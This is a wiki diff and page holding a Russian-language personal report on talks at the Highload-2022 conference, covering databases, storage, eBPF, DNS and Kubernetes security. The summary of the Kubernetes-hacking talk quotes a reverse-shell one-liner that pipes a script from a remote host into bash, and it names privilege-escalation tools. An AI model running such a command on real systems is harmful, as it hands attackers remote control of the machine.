Highload-2022: Отчёт Виталия Филиппова — различия между версиями

Материал из YourcmcWiki
Перейти к: навигация, поиск
м
 
(не показано 56 промежуточных версий этого же участника)
Строка 3: Строка 3:
 
'''Общее впечатление:''' на удивление, довольно бодро. Весенний хайлоад — 2021, перенесённый на весну 2022 — был значительно тухлее, на нём я тоже выступал, но о докладах даже заметок себе вменяемых не оставил.
 
'''Общее впечатление:''' на удивление, довольно бодро. Весенний хайлоад — 2021, перенесённый на весну 2022 — был значительно тухлее, на нём я тоже выступал, но о докладах даже заметок себе вменяемых не оставил.
  
Вообще, прошлые хайлоады я не мог отделаться от мысли, что каждый год выступают одни и те же лица с одними и теми же темами докладов — Сысоев и nginx, постгрес-про, mysql, куратор, erlyvideo, одноглазники с java-микросервисами, какое-нибудь badoo на php… в общем всё норм, но уже поднадоедало. Что случилось сейчас — не знаю, возможно, «одни и те же лица» уехали в сторону горы Арарат. :-) хотя Максим Лапшин с erlyvideo был. :-) но так или иначе, повторюсь — некое ощущение новизны всё-таки было. А может, это меня отпустило.
+
Вообще, прошлые хайлоады я не мог отделаться от мысли, что каждый год выступают одни и те же лица с одними и теми же темами докладов — Сысоев и nginx, постгрес-про, mysql, куратор, erlyvideo, одноглазники с java-микросервисами, какое-нибудь badoo на php… в общем всё норм, но уже поднадоедало. Что случилось сейчас — не знаю, возможно, «одни и те же лица» уехали в сторону горы Арарат. :-) хотя Максим Лапшин с erlyvideo был. :-) но так или иначе, повторюсь — некое ощущение новизны всё-таки было. А может, это меня попустило, не знаю.
  
 
Проходила конференция снова в Крокусе, стоила для участников, кажется, 60к (в 2013 было 21к… инфляция :D). Организация была вполне приличная, всего хватало — и места, и плюшек, и еды, и гардеробов, и стоек регистрации. От практики раздачи тонн макулатуры, видимо, отказались, и слава богу, спину ей только оттягивать. Залов параллельно было аж 8, но, к счастью, «основных» 4 — в общем, угрызаемо.
 
Проходила конференция снова в Крокусе, стоила для участников, кажется, 60к (в 2013 было 21к… инфляция :D). Организация была вполне приличная, всего хватало — и места, и плюшек, и еды, и гардеробов, и стоек регистрации. От практики раздачи тонн макулатуры, видимо, отказались, и слава богу, спину ей только оттягивать. Залов параллельно было аж 8, но, к счастью, «основных» 4 — в общем, угрызаемо.
Строка 55: Строка 55:
 
== Тарантул для самых маленьких ==
 
== Тарантул для самых маленьких ==
  
'''Константин Перепелица (Tarantool) — Архитектура надёжной In-Memory-СУБД на примере Tarantool'''
+
'''Владимир Перепелица (Tarantool) — Архитектура надёжной In-Memory-СУБД на примере Tarantool'''
  
Очень общий доклад про Tarantool, просто обзор архитектуры. Для тех, кто не знает, сначала это был заменитель memcached (кэш в памяти), а потом туда накрутили сохранение копии данных на диске, репликацию, индексы, транзакции, Lua, хранение данных на диске, а индексов в памяти, MVCC и даже SQL… Короче, теперь это целая «платформа in-memory вычислений с гибкой схемой данных для эффективного создания высоконагруженных приложений, включающая в себя базу данных и сервер приложений на Lua». Из всего набора неизменной осталась только однопоточность и то, что что-то всегда держится в памяти — либо вообще все данные, либо хотя бы все индексы.
+
Очень общий доклад про Tarantool, просто обзор архитектуры. Для тех, кто не знает, сначала это был заменитель memcached (кэш в памяти), а потом туда накрутили сохранение снимка данных на диске, репликацию, индексы, транзакции, Lua, хранение данных на диске, а индексов в памяти, MVCC и даже SQL… Короче, теперь это целая «платформа in-memory вычислений с гибкой схемой данных для эффективного создания высоконагруженных приложений, включающая в себя базу данных и сервер приложений на Lua». Из всего набора неизменной осталась только однопоточность и то, что что-то всегда держится в памяти — либо вообще все данные, либо хотя бы все индексы.
  
 
Есть репликация, синхронная и асинхронная, в том числе master-master, работающая через «векторные часы», то есть версия ключа — это несколько версий, по одной на каждую реплику. Если ключ меняется на обеих репликах, будут версии (2, 1) и (1, 2) и будет конфликт, который самим тарантулом никак не разрешается и разрешать его должны вы :-).
 
Есть репликация, синхронная и асинхронная, в том числе master-master, работающая через «векторные часы», то есть версия ключа — это несколько версий, по одной на каждую реплику. Если ключ меняется на обеих репликах, будут версии (2, 1) и (1, 2) и будет конфликт, который самим тарантулом никак не разрешается и разрешать его должны вы :-).
  
В остальном остановиться почти не на чем, доклад реально очень базовый. Интереснее было бы послушать про какие-то более хитрые вещи, возможно, про какие-то хитрые случаи практических применений. Про MVCC потом ещё был отдельный доклад на следующий день, но тоже, честно говоря, не очень интересный.
+
В остальном остановиться почти не на чем, доклад реально очень базовый. Интереснее было бы послушать про какие-то более хитрые вещи, возможно, про какие-то хитрые случаи практических применений. Про MVCC потом ещё был отдельный доклад на следующий день, но тоже, честно говоря, скучноватый.
  
 
А, ну и мемы про тарантул смотрите тут — https://t.me/notcrashing.
 
А, ну и мемы про тарантул смотрите тут — https://t.me/notcrashing.
Строка 96: Строка 96:
  
 
От себя добавлю, что та самая «балансировка нагрузки» и вообще распределение объектов — это один из наиболее базовых аспектов устройства любой системы хранения и именно он во многом определяет дальнейший вектор развития архитектуры системы. Вообще все стороджи можно поделить на классы… класса, наверное, на 3… в зависимости от применённого подхода к распределению данных. Так что на самом деле рассмотренный в докладе вопрос гораздо значительнее, чем может показаться на первый взгляд :-).
 
От себя добавлю, что та самая «балансировка нагрузки» и вообще распределение объектов — это один из наиболее базовых аспектов устройства любой системы хранения и именно он во многом определяет дальнейший вектор развития архитектуры системы. Вообще все стороджи можно поделить на классы… класса, наверное, на 3… в зависимости от применённого подхода к распределению данных. Так что на самом деле рассмотренный в докладе вопрос гораздо значительнее, чем может показаться на первый взгляд :-).
 +
 +
P.S: Вопрос Вадиму: А у вас есть автоматика, которая определяет, отвалившая реплика ушла совсем или ещё вернётся? Коллега мне на ухо: Есть, её зовут Женя…
  
 
== Жизнь перф инженера в Pg Pro ==
 
== Жизнь перф инженера в Pg Pro ==
Строка 147: Строка 149:
 
** Большие объекты нарезаются на части по 64 МБ, сначала пишутся части, в конце — индекс, ссылающийся на эти части.
 
** Большие объекты нарезаются на части по 64 МБ, сначала пишутся части, в конце — индекс, ссылающийся на эти части.
 
** После заполнения бакет закрывается и в него больше не пишут, а только удаляют и потом переупаковывают. Процесс-переупаковщик бакетов называется bucketcompactor.
 
** После заполнения бакет закрывается и в него больше не пишут, а только удаляют и потом переупаковывают. Процесс-переупаковщик бакетов называется bucketcompactor.
* Распределение объектов — перед каждой записью идём в statusservice и спрашиваем у него, в какой бакет писать. При этом бакет на запись блокируется. При удалении аналогично, тоже блокировка. После записи разблокируем и обновляем версию бакета в statusservice. Версией служит просто последнее смещение в бакете.
+
* Распределение объектов — перед каждой записью идём в statusservice и спрашиваем у него, в какой бакет писать.
 +
** При этом бакет на запись блокируется. При удалении аналогично, тоже блокировка. После записи разблокируем и обновляем версию бакета в statusservice. Версией служит просто последнее смещение в бакете.
 +
** При отвале клиента — это мои фантазии, в докладе не было, но по-другому вроде никак — должен следовать отвал блокировки по таймауту, перевод бакета в readonly и его последующая синхронизация, что полностью эквивалентно Hadoop с его Lease Recovery.
 
* Репликация — клиентская, запись — кворумная.
 
* Репликация — клиентская, запись — кворумная.
 
** То есть, клиент (прокся) напрямую соединяется с несколькими серверами и пишет свои данные на каждый, и считает запись успешной при записи на 2 из 3 серверов. При неуспехе — повторная попытка в другой бакет.
 
** То есть, клиент (прокся) напрямую соединяется с несколькими серверами и пишет свои данные на каждый, и считает запись успешной при записи на 2 из 3 серверов. При неуспехе — повторная попытка в другой бакет.
Строка 162: Строка 166:
 
** Казалось бы, тут должны быть сосиски, то есть EC-кодирование всего волюма-колбасы а-ля seaweedfs, но этого нет. Кодируется каждый объект отдельно. А чего тогда, писали бы сразу в EC…
 
** Казалось бы, тут должны быть сосиски, то есть EC-кодирование всего волюма-колбасы а-ля seaweedfs, но этого нет. Кодируется каждый объект отдельно. А чего тогда, писали бы сразу в EC…
 
* Жёсткая схема распределения места
 
* Жёсткая схема распределения места
** Как я понял, это значит, что при добавлении серверы/разделы сразу разбиваются на группы так, чтобы полностью покрыть ими всю ёмкость, и потом бакеты собираются только уже в конкретных заданных сочетания. И, видимо, как-то переоптимизируются при добавлении/удалении дисков. Я в Vitastor со своим lpsolve-ом тоже начинал с подобной идеи…
+
** Как я понял, это значит, что при добавлении серверы/разделы сразу разбиваются на группы так, чтобы полностью покрыть ими всю ёмкость, и потом бакеты собираются только уже в конкретных заданных сочетаниях. И, видимо, как-то переоптимизируются при добавлении/удалении дисков. Я в Vitastor со своим lpsolve-ом тоже начинал с подобной идеи…
 
* Есть сжатие (zstd), которое позволяет 15 ПБ, превращённые с 2x репликацией в 30 ПБ, превратить обратно в 15 ПБ :).
 
* Есть сжатие (zstd), которое позволяет 15 ПБ, превращённые с 2x репликацией в 30 ПБ, превратить обратно в 15 ПБ :).
  
Строка 173: Строка 177:
 
== SPQR для постгри ==
 
== SPQR для постгри ==
  
Денис Волков, Кирилл Решке (Yandex Cloud) — SPQR: горизонтальное масштабирование PostgreSQL
+
'''Денис Волков, Кирилл Решке (Yandex Cloud) — SPQR: горизонтальное масштабирование PostgreSQL'''
  
 
Пытался смотреть доклад в режиме вытесняющей многозадачности параллельно со сцыллой.
 
Пытался смотреть доклад в режиме вытесняющей многозадачности параллельно со сцыллой.
Строка 181: Строка 185:
 
Идея — прозрачное шардирование постгреса для бедных. Ставим проксю, которая парсит запросы. Те, что имеют локальность, перенаправляет на определённый шард. Те, что не имеют локальности, но простые и их можно легко смержить из общего результата — собирает со всех шардов. А те, с которыми вообще не понятно, что делать — перенаправляет в выделенный шард «world».
 
Идея — прозрачное шардирование постгреса для бедных. Ставим проксю, которая парсит запросы. Те, что имеют локальность, перенаправляет на определённый шард. Те, что не имеют локальности, но простые и их можно легко смержить из общего результата — собирает со всех шардов. А те, с которыми вообще не понятно, что делать — перенаправляет в выделенный шард «world».
  
Ну и вроде как сделали и оно вроде как работает. И даже какую-то перебалансировку шардов вроде бы умеет. В докладе даже была ссылка на демонстрацию, но это на самом деле не так интересно, интереснее то, насколько это применимо для реальных приложений, так как в реальных приложениях запросы всё-таки не ограничиваются select from table where id=… Про это речи не было — тут слушатели вольны потестить сами :-).
+
Ну и вроде как сделали и оно вроде как работает. И даже какую-то перебалансировку шардов вроде бы умеет. «Разработка Шредингера», как они сами сказали — то ли в проде, то ли не в проде. В докладе даже была ссылка на демонстрацию, но это на самом деле не так интересно, интереснее то, насколько это применимо для реальных приложений, так как в реальных приложениях запросы всё-таки не ограничиваются select from table where id=… Про это речи не было — тут слушатели вольны потестить сами :-).
  
 
== Как сцилла стояла раком ==
 
== Как сцилла стояла раком ==
Строка 193: Строка 197:
 
Провели тестирование через cassandra-stress-test, получили 45 МБ/с и 4634 записи в секунду (400 млн записей в сутки), решили, что всё отлично. В прод! :)
 
Провели тестирование через cassandra-stress-test, получили 45 МБ/с и 4634 записи в секунду (400 млн записей в сутки), решили, что всё отлично. В прод! :)
  
Вместо этого всё встало раком. Сначала получили с учётом валидации 231 запись в секунду (20 млн в сутки). Потом вообще — 35 записей в секунду (3 млн в сутки) и отвал 50% операций записи по таймауту. А компакшен стал выжирать 100% CPU… ТУПИК (картинка: песец).
+
Вместо этого всё встало раком. Сначала получили с учётом валидации 231 запись в секунду (20 млн в сутки). Потом вообще — 35 записей в секунду (3 млн в сутки) и отвал 50% операций записи по таймауту. А компакшен стал выжирать 100% CPU… ТУПИК (картинка: пушной полярный песец).
  
 
Попробовали переехать на SSD — ни фига. Попробовали отключить автоматический компакшен — стало ещё хуже, ручной вообще не мог завершиться, включили обратно. Отказались от индексов — тоже не помогло.
 
Попробовали переехать на SSD — ни фига. Попробовали отключить автоматический компакшен — стало ещё хуже, ручной вообще не мог завершиться, включили обратно. Отказались от индексов — тоже не помогло.
Строка 201: Строка 205:
 
Причём оказалось, что если операция записи таймаутнулась — это не значит, что данные не записались, и повторять попытку зачастую не надо, иначе наоборот плодятся лишние данные. Ещё оказалось, что есть какой-то autobootstrap, который может убить весь кластер и он по умолчанию вроде как false, но при переезде со старой версии — true. И у них была какая-то опасность по этому поводу.
 
Причём оказалось, что если операция записи таймаутнулась — это не значит, что данные не записались, и повторять попытку зачастую не надо, иначе наоборот плодятся лишние данные. Ещё оказалось, что есть какой-то autobootstrap, который может убить весь кластер и он по умолчанию вроде как false, но при переезде со старой версии — true. И у них была какая-то опасность по этому поводу.
  
'''Итог:''' Сыровато. Документация не в 100% верна. Пригодна только как большая хеш-таблица, индексы — г*но. zstd — если включать, то только до первых таймаутов. Компакшен неуправляемый. Из доступных в опенсорсе нормальная стратегия — STCS (Size-tiered compaction strategy), а лучшая — инкрементальная, но она есть только в платной версии. В редких случаях даже добавление ноды может помочь потерять данные.
+
'''Итог:''' Сыровато. Документация не в 100% верна. Пригодна только как большая хеш-таблица, индексы — г*но. zstd — если включать, то только до первых таймаутов. Компакшен неуправляемый. Из доступных в опенсорсе нормальная стратегия — STCS (Size-tiered compaction strategy), а лучшая — инкрементальная, но она есть только в платной версии. В редких случаях даже добавление ноды может «помочь» потерять данные.
  
 
'''Но новое пробовать можно и нужно, иначе откуда возьмётся прогресс? :)'''
 
'''Но новое пробовать можно и нужно, иначе откуда возьмётся прогресс? :)'''
Строка 217: Строка 221:
 
= День 2 =
 
= День 2 =
  
== От batch к streaming в Яндексе ==
+
Утренние доклады пропустил. Спал. Звиняйте, дядьку.
 
+
Егор Хайруллин (Яндекс) — Как перейти от batch к streaming на примере рекламной контент-системы
+
  
 
== Graphviz от безопасника ядра ==
 
== Graphviz от безопасника ядра ==
  
Александр Попов (Positive Technologies) — Безопасность ядра Linux: в теории и на практике
+
'''Александр Попов (Positive Technologies) — Безопасность ядра Linux: в теории и на практике'''
 +
 
 +
Сказ о том, как крутой безопасник открыл для себя Graphviz и использует его как Wiki :-D.
 +
 
 +
Рассказывал о двух вещах: [https://github.com/a13xp0p0v/linux-kernel-defence-map linux-kernel-defence-map] и [https://github.com/a13xp0p0v/kconfig-hardened-check kconfig-hardened-check].
 +
 
 +
Первое — «вики» в формате Graphviz, где он собирает обзорную информацию о методах самозащиты ядра Linux от дыр. Интересно и если вы не разбираетесь в безопасности ядра, и если разбираетесь, так как он, когда сам делает доработки, тоже на это же ориентируется.
 +
 
 +
Второе — скрипт для проверки опций безопасности, проверяет настройки сборки, конфигурацию ядра, опции командной строки ядра. Там же в Readme есть ссылки на рекомендации по настройкам ужесточения безопасности ядра. Которые, конечно, не обязательно включать все, так как они не бесплатны.
 +
 
 +
В общем, вот это в основном и было содержательной частью, на самих дырах он сильно не останавливался, только чуть-чуть на базовых вещах.
 +
 
 +
А, да, из юмора: прозвучал вопрос: а как у вас с поддержкой процессора Эльбрус? — Он ответил: ну, типа, она, по-моему, ещё не включена в мейнлайн… — и тут ведущий добавил: ну да, сейчас, похоже, скорее поддержка Арарата хорошо идёт.
  
 
== Примитивные хаки k8s ==
 
== Примитивные хаки k8s ==
  
Лев Хакимов — Хакнуть K8s: разбор пэйлоадов и способов защиты
+
'''Лев Хакимов — Хакнуть K8s: разбор пэйлоадов и способов защиты'''
 +
 
 +
Нормальный доклад, но «разбор пейлоадов» — это ну очень громко сказано. Начал аж с того, что контейнер — это не ВМ 🤡. А потом всё как-то свёл к тому, что уязвимый контейнер — это или privileged, или с какими-нибудь --cap-add (плюс-минус то же самое), или на худой конец hostNetwork/hostIPC/hostPID true. В итоге можно либо смонтировать хостовую ФС, либо позапускать контейнеры через сокет докер-демона, либо выполнить reverse shell. Ну, например, если есть CAP_SYS_MODULE — то вставить модуль ядра, запускающий <tt><nowiki>curl https://reverse-shell.sh/IP:PORT | bash</nowiki></tt>. Мда, exploit as a service, который мы заслужили…
 +
 
 +
Далее сказал, что K8s RBAC 🤡 не защищает от эксплойтов privileged докера 🤡. Для защиты есть Admission Controller, Pod Security Policy, Pod Security Standards (с 1.23), SecurityContext и Network Policy. Также в тему ResourceQuotas & LimitRange.
 +
 
 +
Искать дыры посоветовал [https://github.com/carlospolop/PEASS-ng PEASS-ng] или [https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS linPEAS], или [https://github.com/cdk-team/CDK CDK]. Для аудита — [https://github.com/aquasecurity/kube-bench CIS Kubernetes Benchmark]. Всё.
  
 
== DBA ловит тормоза диска через eBPF ==
 
== DBA ловит тормоза диска через eBPF ==
  
Пётр Бобров (QIWI) — Мониторинг черных ящиков и котов в мешке через eBPF
+
'''Пётр Бобров (QIWI) — Мониторинг черных ящиков и котов в мешке через eBPF'''
  
== MVCC в тарантуле ==
+
Oracle DBA открыл для себя [https://ebpf.io eBPF], точнее, [https://github.com/iovisor/bcc bcc], на самом eBPF покодить ему так и не довелось. Да и ничего особо важного — никакого, например, бага в ядре… или в оракле… или в дисках… — через eBPF он не нашёл, просто написал экспортилку данных из bcc в Telegraf и нарисовал дашбордик. Ну дашбордик и дашбордик. https://github.com/unPeter/bcc2telegraf — вот это поделие.
  
Александр Ляпунов (Tarantool) — Как работает MVCC в In-Memory-СУБД
+
«Если вендор не идёт навстречу, УК конечно нарушать не предлагаю, но уверен, что на рынке есть люди, позитивно настроенные на анализ» (c).
 +
 
 +
Пересказывать, что такое eBPF, я особо не буду. Вкратце — через него можно вставлять кусочки своего кода в ядро в целях отладки/мониторинга/ещё каких-то. Например, можно влезть в любую функцию и напечатать её параметры. Правда, нельзя напечатать локальные переменные, по крайней мере, я сходу не осилил и нашёл свой баг другим путём.
 +
 
 +
В остальном — думаю, сами прочитаете, если интересно. ИМХО ничего, что нельзя нагуглить, докладчик не рассказал :).
 +
 
 +
== Матрасы в тарантуле ==
 +
 
 +
'''Александр Ляпунов (Tarantool) — Как работает MVCC в In-Memory-СУБД'''
 +
 
 +
Рассказ про MATRAS.
 +
 
 +
Начал с аналогий — мол, человек разумный, а комп нет, если жена отправит вас в магазин и скажет «купи пакет молока, если будут яйца, купи десяток», то все нестандартные ситуации, там, −1 пакет молока на полке… вы, вероятно, обработаете сами. ''/Ну не знаю — если 2 программиста потянутся за 1 пакетом молока… хз, могут и зависнуть, жёнам придётся идти спасать от дедлока, возможно, кого-то придётся пристрелить…/ — прим.вред.'' Ну а MVCC нужен, чтобы не пускать всех в магазин по одному. Вместо этого создаём каждому покупателю свой снимок магазина, а кассир потом разрешает конфликты ''/и упираемся в кассира/ — прим.вред.''
 +
 
 +
В общем, в тарантуле MVCC реализован через матрас — Memory Address TRanslating Allocator(S) и через ещё один специальный аллокатор для read view. И ещё через сохранение истории изменений, то есть каждая строка содержит флаг «есть история или нет», если нет — просто читаем, если есть — проходим по истории. Уровень изоляции — serializable, но не snapshot, снапшот создаётся отложенно.
 +
 
 +
Подробнее можно почитать тут: https://habr.com/ru/company/vk/blog/525484/, https://habr.com/ru/company/vk/blog/540842/
  
 
== Экодиктант за 2 месяца ==
 
== Экодиктант за 2 месяца ==
  
Станислав Жуковский, Василий Шалимов (Старботс РФ) — Экодиктант 2021: highload-проект с нуля за 2 месяца
+
'''Станислав Жуковский, Василий Шалимов (Старботс РФ) — Экодиктант 2021: highload-проект с нуля за 2 месяца'''
 +
 
 +
А вот этот доклад сделал мой второй день конференции. И хоть докладчик и говорил «вёб» (через ё) и «рпц» вместо rps (ЭР ПЭ ЭС), очень приятно было послушать, что где-то ещё есть люди, которые могут сесть и БЫСТРО и ПРОСТО, без 200 микросервисов, что-то запилить. А то в последние годы уже как-то начал привыкать к тому, что разработка ПО в компаниях обычно как идеальный газ — занимает все ресурсы, которые на неё выделишь, и в итоге сидит человек 100 и все чем-то заняты, а баги исправляются по полгода. А фичи разрабатываются по 2 года.
 +
 
 +
К ним пришёл заказчик и сказал — мы тут писали ТЗ 8 месяцев, а вы нам это закодьте за 2. Причём заказчик был очень начитанный, ТЗ было очень подробное, там была прорисована архитектура, 100 микросервисов и всё такое прочее. Но, к счастью, заказчику ответили — да, это всё замечательно, но не за 2 месяца. ''/Микросервисы — г@вно!!! Парни, вы молодцы, что на это не пошли! Тупой монолит в 99.9% случаев гораздо лучше!/ — прим.вред.''
 +
 
 +
В итоге просто писали на Django, причём даже с jQuery. ''/ну да, тоже уже устаревшее г@но, но если умеешь — пиши на том, на чём умеешь/ — прим.вред.'' И только самая нагруженная часть с самим «диктантом» была на React.
 +
 
 +
Кратко таймлайн разработки, который почему-то начинается с 11 недель — не совсем 2 месяцев до диктанта, ну да не суть:
 +
* −11 неделя: макеты по дизайну
 +
* −10 неделя: выбрали сервер (uWSGI), балансер (HAProxy), сверстали шаблоны django, и сразу выставили в веб (для теста, видимо)
 +
* −8 недель: развёртывание в яойблаке и бенчмаркинг я-танком, анализ 500-ых ошибок
 +
* −7 недель: припилили React, аутентификацию через JWT, пробенчили эти самые JWT (выпуск/обновление токенов)
 +
* −6 недель: переносили старые учетки из php laravel приложения, пришлось припиливать устаревший 128-битный bcrypt к django
 +
* −5 недель: отказались от сервисов рассылок mailchimp, aws — дорого и вообще не дали бы объёмы — в частности, aws сказал «15000$ в год + 3 месяца рассылайте 10%, потом, может, разрешим полный объём». Подняли свой почтовик — postfix с DKIM и всем прочим. Сразу сделали 2 домена и были очень рады, что 2, так как один то и дело улетал в блокировку (всякие DNSBL), они вступали в диалог с админами блоклистов, а тем временем юзали второй домен. В итоге рассылали 70 писем в секунду и потеряли < 1%. Но, сказали, лучше бы было 5 доменов. Метрики доставки отслеживали в Zabbix.
 +
* −4 недели: настраивали защиту от DDoS и CDN в облаке мегафона. Мегафон помогал. Хватило 1 уровня защиты.
 +
* −3 недели: выкладка контента вовсю. Словили прикол — приходил один и тот же юзер, жаловался «у меня не хватает лимита, не загружаются картинки» — в итоге лимит сняли… и ему хватило. Он загрузил логотип размером 1 ГБ.
 +
* −2 недели: финальная упаковка контейнеров в кубер, настройка автоскейлера.
 +
*: Тут Шалимов Василий (автор «вёба») опять выдал небольшой перл — мол, «реакт ничего не ел [в кубере], а вот джанга!..» — логично, чо. Реакт в браузере у юзера выполняется. Там и ест.
 +
* −1 неделя. Юзеры пришли регаться. 1 млн регистраций в час.
 +
 
 +
После чего всё, ДИКТАНТ. Рады, что не поймали ''того, что обычно ловят'' в панамку! Говорит, у меня жена и 2 детей и на всякие онлайн дневники они часто ругались, а тут нормально все прошло — но пока делал, я им не говорил, что делаю. На всякий случай. :-)
 +
 
 +
Было только 2 падения — в первом всё повисло из-за LIKE-запроса, во втором — упала варя (vmware) и, соответственно, кубер у мегафон-клауда. Полежали где-то час.
 +
 
 +
Ну и потом неделя еще на обработку, а еще были оффлайн роли, отчёты, анкеты, какие-то подарки…
 +
 
 +
Ответы на вопросы:
 +
* Почему не django fast api? — Не было времени.
 +
* Помогла ли django админка? — Да, но дефолтная туповата, на 3 миллиона юзеров, например, не рассчитана, повисает.
 +
* Мешал ли django orm? — Нет, ибо сложных запросов не было. Хватило. Но держали в уме, что может быть узким местом и присматривали.
 +
* Повторили бы опыт? — Нервный ржач…
 +
* Какие блэклисты почты? — Сходу не помнит, стандартные, было 13 названий. Это была отдельная задача для контент-менеджера.
 +
* Сколько был rps? — Не помнит, но нагрузочное тестирование делали почти на 1 млн. Регистраций был 1 млн в час.
 +
* Какого размера была команда? — Их было 7, а техподдержки мегафон-клауда, которые ими занимались — 21. Мегафон не знал, что их 7, когда узнал, был в шоке.
 +
 
 +
'''Резюме:''' Используйте подходы MVP, делайте запас по железу. Кто-то (вроде меня) скажет — ну да, конечно, а как ещё? — НО! Порадовало именно то, что об этом рассказали! Так ведь сейчас не модно! Модно намудрить 10 слоёв, 100 микросервисов, обмазаться фреймворками, облачными сервисами, серверлессом… Так что — свернуть доклад в трубочку и разослать всем, кто делает «долго, дорого и сложно». Пусть учатся.
  
 
== DNS-aaS через SDN ==
 
== DNS-aaS через SDN ==
  
Георгий Меликов (VK Cloud) — Полная изоляция клиентов в облаке для сервисов без изоляции на примере DNS
+
'''Георгий Меликов (VK Cloud) — Полная изоляция клиентов в облаке для сервисов без изоляции на примере DNS'''
 +
 
 +
Докладчик — наш друг из чатиков [https://t.me/sds_ru @sds_ru], [https://t.me/ceph_ru @ceph_ru] и [https://t.me/ru_zfs @ru_zfs], участник разработки ZFS.
 +
 
 +
Вкратце итог: мультитенантный облачный DNS-as-a-Service через DNS-прокси, добавляющую суффикс в запрос, работающую через SDN.
 +
 
 +
В общем, стояла задача — сделать изолированный облачный DNS-as-a-Service в облаке — то есть, чтобы один клиент не мог случайно увидеть DNS-ответы другого клиента — И ПРИ ЭТОМ не поднимать отдельные DNS-серверы на каждого, а обойтись одним, ибо это банально дешевле и заодно позволяет предоставлять нормальный rps тем, кто много обращается к этому DNS.
 +
 
 +
Рассмотрели варианты:
 +
* OpenStack Designate — нет мультитенантности
 +
* bind views — оказался мультиплексором к N экземплярам bind и вообще он «экспериментальный» с багами
 +
* PowerDNS — нет мультитенантности и не хотят, говорят, если вам надо — поднимайте N экземпляров. Есть Lua, но на ней сделать требуемое не вышло, зато стали контрибьюторами в документацию — это было самое быстрое одобрение PR в жизни: примерно 10 секунд :-)
 +
* dnsmasq — маленький и опять нет мультитенантности
 +
* CoreDNS — и тоже нет тенантов
 +
* pdnsd — и тоже нет
 +
 
 +
В итоге родили МОЩЩЩНЫЙ [https://www.youtube.com/watch?v=wnbTrVM8hXg&t=585s (c)] костыль. Решили добавлять в запросы суффиксы, например, domain -> domain.tenant1, и потом, соответственно, откусывать их в ответах. Для этого можно было написать свой DNS-сервер, но решили, что полноценный честный RFC-совместимый DNS-сервер писать довольно сложно, если допиливать готовый — доработки не примут, а поддерживать форк не хочется… и написали проксю, которая переписывает запросы (A, PTR) и перенаправляет их реальному серверу.
 +
 
 +
А чтобы перехватывать и перенаправлять запросы, у них уже был под рукой SDN. То ли раньше был OpenStack Neutron, то ли и до сих пор ещё остался, но по факту сделали на SDN собственного разлива, который называется Sprut и поддерживает Network Functions. На этом и сделали проксю. 2 человеко-квартала и готово. Прототип на Python по RPS на 1 поток получился медленнее CoreDNS всего в 2 раза, то есть, даже питона оказалось достаточно для нужной производительности.
 +
 
 +
Ну ок :-). «Сетевики пишут DNS».
  
[[Категория:Конференции]]
+
[[Категория:Отчёты о конференциях]]

Текущая версия на 01:33, 2 декабря 2023

Топовая Бунинская конференция, самая распиаренная и самая отъевшаяся — к счастью, до вменяемых пределов, в отличие от еврогейских, где вообще всё коммерциализировано вусмерть и даже докладчики доплачивают за участие. :-)

Общее впечатление: на удивление, довольно бодро. Весенний хайлоад — 2021, перенесённый на весну 2022 — был значительно тухлее, на нём я тоже выступал, но о докладах даже заметок себе вменяемых не оставил.

Вообще, прошлые хайлоады я не мог отделаться от мысли, что каждый год выступают одни и те же лица с одними и теми же темами докладов — Сысоев и nginx, постгрес-про, mysql, куратор, erlyvideo, одноглазники с java-микросервисами, какое-нибудь badoo на php… в общем всё норм, но уже поднадоедало. Что случилось сейчас — не знаю, возможно, «одни и те же лица» уехали в сторону горы Арарат. :-) хотя Максим Лапшин с erlyvideo был. :-) но так или иначе, повторюсь — некое ощущение новизны всё-таки было. А может, это меня попустило, не знаю.

Проходила конференция снова в Крокусе, стоила для участников, кажется, 60к (в 2013 было 21к… инфляция :D). Организация была вполне приличная, всего хватало — и места, и плюшек, и еды, и гардеробов, и стоек регистрации. От практики раздачи тонн макулатуры, видимо, отказались, и слава богу, спину ей только оттягивать. Залов параллельно было аж 8, но, к счастью, «основных» 4 — в общем, угрызаемо.

День 1

Exadata для PostgreSQL

Константин Аристов (Скала^р) — Наша Машина Баз Данных (это как Oracle Exadata, только для PostgreSQL) и система управления к ней

Почему я пошёл это слушать: да потому что я ещё лет 10 назад, работая в CUSTIS, говорил, что кому-нибудь надо сделать аналог Exadata, но на PostgreSQL :)

Для тех, кто не знает, что такое экзадата: это такой шкафчик с ораклом, стоящий примерно 1 млн $ (последние версии уже, кажется, под 2 ляма) и логически представляющий из себя единый экземпляр СУБД. Ну, то есть, на самом деле это просто стандартная 42-местная серверная стойка с готовым отказоустойчивым кластером из обычных серверов и RDMA (RoCE) свичей. Внутри крутится Linux и на нём сам Oracle, но не совсем простой — там есть деление на узлы хранения и узлы вычисления — по сути, собственная программная СХД. Также этот шкафчик можно покупать в конфигурациях 1/2, 1/4, 1/8 стойки и гибких, добавляя по вкусу нужных узлов.

Ну вот… вроде как свершилось, СКАЛА-Р сделала ПАК на базе постгри :) на самом деле это, конечно, не совсем экзадата — объёмы меньше, распределённости самой постгри там нет и SDS под постгрёй тоже нет (вот куда Vitastor-то надо впилить, да). Вместо всего этого в стойку просто ставится несколько «модулей» по 3 2U сервера с постгрей — в каждом 1 мастер, 1 синхронная реплика и 1 асинхронная реплика на 48c 768G RAM + 10-20 TB SSD серверах. И Corosync. Рядом ставится «модуль» управления, свичи, зарезервированные через MLAG и СХД (HDD полка + 2 головы) для бэкапов через pgpro backup (в том числе с PITR). Из интересного: сходимость MLAG-а оказалась неожиданным критерием выбора свичей и, кроме Mellanox, тут победили некие неназванные свитчи российского производителя «Vendor #1». Характеристики свича: ПСП=92, с 32 портами и поддержкой RSTP. Загадка, что же такое «92»… рядом в табличке указан Mellanox SN2100 с цифрой «100», значит, это гигабит на порт, что ли?

Заявленные показатели — 70000 попугаев (TPS) в pgbench TPC-B на БД размером 12 ТБ («RW-тест на БД >= 1 ТБ», хз, что это). По методике тестирования — сослались на доклад Андрея Николаенко с PG Day’17 — «Об эталонном тестировании PostgreSQL» (я открыл, слегка вырвиглаз). Как сравнить с Exadata — не понятно, но вообще в топовых конфигурациях Exadata обещают чуть ли не 4 миллиона TPS :) у IBM Pure Data (видимо тоже что-то похожее) заявки более скромные, от 34 до 205 тысяч TPS. В общем, как относиться к этим 70 тысячам, решайте сами.

Для OLAP-нагрузки сами Скала-МБД не рекомендуют, рекомендуют чуть другой комплекс — Скала МБД8 («Машина Больших Данных»). Exadata же OLAP ест.

